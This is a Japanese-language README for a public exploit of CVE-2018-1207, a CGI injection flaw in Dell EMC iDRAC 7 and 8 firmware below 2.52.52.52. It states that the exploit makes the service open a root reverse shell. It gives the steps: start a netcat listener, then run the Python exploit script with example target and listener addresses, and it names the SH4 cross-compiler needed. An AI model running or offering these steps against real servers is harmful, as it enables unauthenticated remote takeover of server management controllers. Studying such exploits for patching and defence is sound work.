mgargiullo/cve-2018-1207エクスプロイト iDRAC 7 & 8 ファームウェア < 2.52.52.52
iDRAC 7 & 8 ファームウェア < 2.52.52.52 を悪用する
Dell EMC iDRAC7/iDRAC8（バージョン2.52.52.52未満）にはCGIインジェクションの脆弱性が存在し、リモートコード実行に悪用される可能性があります。リモートの認証されていない攻撃者がCGI変数を使用してリモートコードを実行できる可能性があります。
このコードにより、iDRACサービスがrootユーザーとしてリバースシェルを開くようになります。
ローカルリスナーを起動: nc -v -l -p local_port
nc -v -l -p 5500
エクスプロイトを実行: python ./cve-2018-1207.py remote_host remote_port local_host local_port
python ./cve-2018-1207.py 192.168.1.10 443 192.168.1.200 5500
sh4-linux-gnu-gcc のバージョンがインストールされている必要があります。現在は sh4-linux-gnu-gcc-11 です。
apt install gcc-11-sh4-linux-gnu でインストールできます。
